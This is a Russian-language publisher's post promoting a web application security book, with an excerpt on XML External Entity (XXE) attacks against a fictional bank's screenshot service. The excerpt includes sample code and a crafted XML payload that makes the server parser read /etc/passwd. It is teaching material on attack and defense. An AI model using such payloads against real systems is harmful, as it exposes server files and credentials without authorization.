Книга «Безопасность веб-приложений»

Привет, Хаброжители! Среди огромного количества информации по сетевой и ИТ-безопасности практически не найти книг по безопасности веб-приложений. Познакомьтесь на практике с разведкой, защитой и нападением! Вы изучите методы эффективного исследования и анализа веб-приложений, даже тех, к которым нет прямого доступа, узнаете самые современные хакерские приемы и научитесь защищать собственные разработки.

В этой книге

• Самые распространенные уязвимости

• Основные методы взлома

• Схемы и документация веб-приложений, к которым нет прямого доступа

• Кастомизированные эксплойты, преодолевающие популярные схемы защиты

• Способы защиты приложений от хакерских атак

• Лучшие практики внедрения безопасного кода в жизненный цикл разработки

• Советы и рекомендации для улучшения уровня безопасности веб-приложений

Атака на внешние сущности XML (XXE)

Атака на внешние сущности XML-документа (XML External Entity, XXE) во многих случаях легко осуществима и приводит к разрушительным последствиям. Уязвимость, благодаря которой она становится возможной, связана с неправильной настройкой анализатора XML в коде приложения.

Вообще-то почти все XXE-уязвимости обнаруживаются, когда конечная точка API принимает данные в формате XML (или подобном ему). Вам может казаться, что конечные точки, принимающие XML, встречаются редко, но к XML-подобным форматам относятся SVG, HTML/DOM, PDF (XFDF) и RTF. Они имеют много общего со спецификацией XML, и в результате многие анализаторы XML также принимают их в качестве входных данных.

Спецификация XML позволяет подключать к документу дополнительные компоненты — так называемые внешние сущности. Если XML-анализатор не проводит соответствующую проверку, он может просто загрузить внешнюю сущность и подключить к содержимому XML-документа и таким образом скомпрометировать файлы в файловой структуре сервера.

Атака на внешние сущности XML часто используется для компрометации файлов от других пользователей или для доступа к таким файлам, как /etc/shadow, где хранятся учетные данные, необходимые для правильной работы Unix-сервера.

Атака напрямую

При прямой XXE-атаке объект XML отправляется на сервер под видом внешней сущности. После его анализа возвращается результат, включающий внешнюю сущность (рис. 12.1).

Представим, что mega-bank.com предоставляет утилиту для создания скриншотов, позволяющую отправлять их непосредственно в службу поддержки.

На стороне клиента эта функциональность выглядит так:

<!-- Простая кнопка. При нажатии вызывает функцию `screenshot()`. --> <button class="button"         id="screenshot-button"         onclick="screenshot()">         Send Screenshot to Support</button> /* * Собираем HTML DOM из элемента `content` и XML-анализатором * преобразуем текст DOM в формат XML. * * По HTTP передаем этот XML в функцию, которая сгенерирует из * присланного XML скриншот. * * Скриншот отправляется в службу поддержки для анализа. */ const screenshot = function() { try {    /*     * Пытаемся преобразовать элемент `content` в формат XML.     * При неудаче происходит переход к блоку Catch, но обычно все     * получается, потому что HTML — это разновидность XML.     */  const div = document.getElementById('content').innerHTML;  const serializer = new XMLSerializer();  const dom = serializer.serializeToString(div);  /*   * После преобразования DOM в XML генерируем запрос   * к конечной точке, которая преобразует XML в изображение.   * В результате получим скриншот.   */  const xhr = new XMLHttpRequest();  const url = 'https://util.mega-bank.com/screenshot';  const data = new FormData();  data.append('dom', dom);  /*   * Если преобразование XML в image прошло успешно,   * отправляем скриншот в службу поддержки.   *   * В противном случае сообщаем пользователю о неудаче.   */ xhr.onreadystatechange = function() {   sendScreenshotToSupport(xhr.responseText, (err) => {     if (err) { alert('невозможно отправить скриншот.') }     else { alert('скриншот отправлен!'); }   }); }  xhr.send(data); } catch (e) {    /*   * Уведомляем пользователя, что его браузер не поддерживает   * эту функциональность.   */  alert(Ваш браузер не поддерживает эту функциональность. Требуется обновление.      );   } };

Под «этой функциональностью» подразумевается очень простая вещь: пользователь нажимает кнопку и создает снимок экрана, который отправляется в службу поддержки.

С программной точки зрения это тоже не слишком сложно:

1. Браузер преобразует то, что текущий пользователь видит на экране (через DOM) в XML.
2. Этот XML браузер передает в службу, которая преобразует его в JPG.
3. Через другой API браузер отправляет файл JPG сотруднику службы поддержки MegaBank.

Есть несколько моментов, которые хотелось бы отметить по поводу этого кода. Например, функцию sendScreenshotToSupport() можно вызывать самостоятельно для наших собственных изображений. Проверить допустимость содержимого в случае картинки сложнее, чем в случае XML. И хотя преобразовать XML в изображения легко, при обратном преобразовании происходит потеря контекста.

На стороне сервера маршрут с именем screenshot соотносится с запросом из нашего браузера:

import xmltojpg from './xmltojpg';   /*   * Преобразуем XML-объект в изображение JPG.   *   * Возвращаем изображение автору запроса.   */ app.post('/screenshot', function(req, res) {   if (!req.body.dom) { return res.sendStatus(400); }   xmltojpg.convert(req.body.dom)   .then((err, jpg) => {     if (err) { return res.sendStatus(400); }     return res.send(jpg);   }); });

Преобразуемый в формат JPG файл XML должен пройти через XML-анализатор. Причем этот анализатор должен соответствовать спецификации XML.

Наш клиент отправляет на сервер обычный набор кода HTML/DOM, преобразованный в формат XML для облегчения процесса анализа. При обычной работе мало шансов, что этот код когда-либо будет представлять какую-либо опасность.

Но отправленные клиентом данные DOM может изменить технически подкованный пользователь. В качестве альтернативы можно просто подделать сетевой запрос и отправить на сервер, например, вот такой код:

import utilAPI from './utilAPI';   /*   * Генерируем новый XML HTTP-запрос к API утилиты XML -> JPG.   */ const xhr = new XMLHttpRequest(); xhr.open('POST', utilAPI.url + '/screenshot'); xhr.setRequestHeader('Content-Type', 'application/xml');   /*   * Предоставляем созданную вручную XML-строку, использующую   * функциональность внешних сущностей во многих XML-анализаторах.   */ const rawXMLString = `<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><xxe>&xxe;</xxe>`;  xhr.onreadystatechange = function() {   if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {     // здесь нужно проверить полученный ответ   } }   /*   * Отправляем запрос к конечной точке API утилиты XML -> JPG.   */ xhr.send(rawXMLString); 

После получения такого запроса анализатор сервера проверяет XML и возвращает нам изображение (JPG). Если синтаксический анализатор XML явно не отключает внешние сущности, мы увидим на присланном снимке экрана содержимое текстового файла /etc/passwd.

Непрямая XXE-атака

В случае непрямой XXE-атаки сервер генерирует XML-объект в ответ на присланный запрос. В него включаются параметры, предоставленные пользователем, и потенциально это может привести к включению параметра внешней сущности (рис. 12.2).

Иногда XXE-атаку можно нацелить на конечную точку, напрямую не работающую с отправленным пользователем XML-объектом.

В случае API, принимающего в качестве параметра XML-подобный объект, первым делом имеет смысл проверить его на XXE-уязвимость. Тот факт, что API не принимает в запросах объекты XML, не означает, что там не применяется XML-анализатор.

Представим приложение, которое запрашивает у пользователя только один параметр через конечную точку REST API. Приложение предназначено для синхронизации этого параметра с программным пакетом CRM-системы, которым уже пользуется фирма.

Для своего API программа CRM может ожидать информацию в формате XML. Это означает, что несмотря на заявления о непринятии такого формата, для корректного взаимодействия сервера с программным пакетом CRM присылаемые пользователем данные должны быть преобразованы в объект XML через REST-сервер, а затем отправлены в пакет софта CRM.

Часто эти операции происходят в фоновом режиме, и со стороны сложно определить, что данные в формате XML вообще используются. И так бывает достаточно часто. Так как корпоративное ПО не монолитно, а носит модульный характер, часто бывает так, что API-интерфейсы JSON/REST должны взаимодействовать с API XML/SOAP. Кроме того, одновременно используется как современное, так и унаследованное ПО, в результате чего часто появляются большие дыры в безопасности.

В предыдущем примере присланные нами данные преобразовывались сервером в формат XML перед отправкой в другую программную систему. Но как снаружи понять, что это происходит?

Один из способов — изучение компании, чье веб-приложение вы тестируете. Нужно определить, какие у них есть лицензионные соглашения для крупных предприятий. Иногда такая информация открыта для публики.

Также можно заглянуть на другие сайты этой компании и проверить, представлены ли какие-либо данные через отдельную систему или сторонний URL-адрес. Кроме того, многие старые пакеты корпоративного софта — от CRM до бухгалтерского учета или управления персоналом — имеют ограничения по структуре хранимых данных. Если узнать, данные какого типа ожидаются этими интегрированными программными пакетами, можно будет сделать вывод, что они используются общедоступным API, если он ожидает нехарактерного форматирования данных перед их отправкой.

Итоги

Понять, как осуществляется XXE-атака, и провести ее в большинстве случаев несложно. Эти атаки заслуживают упоминания, потому что они удивительно мощны и могут поставить под угрозу весь веб-сервер, не говоря уже о работающем поверх него веб-приложении.

Атаки XXE возможны благодаря существованию недостаточно защищенного стандарта, который, тем не менее, широко используется в интернете. Предотвратить XXE-атаки на синтаксические анализаторы несложно. Иногда всего одна строка в конфигурации убирает возможность ссылаться на внешние сущности. При этом атаки этого типа всегда следует пробовать против новых приложений, поскольку одна недостающая строка в настройках XML-анализаторе открывает двери перед хакером.

Более подробно с книгой можно ознакомиться на сайте издательства
» Оглавление
» Отрывок

Для Хаброжителей скидка 25% по купону — Безопасность

По факту оплаты бумажной версии книги на e-mail высылается электронная книга.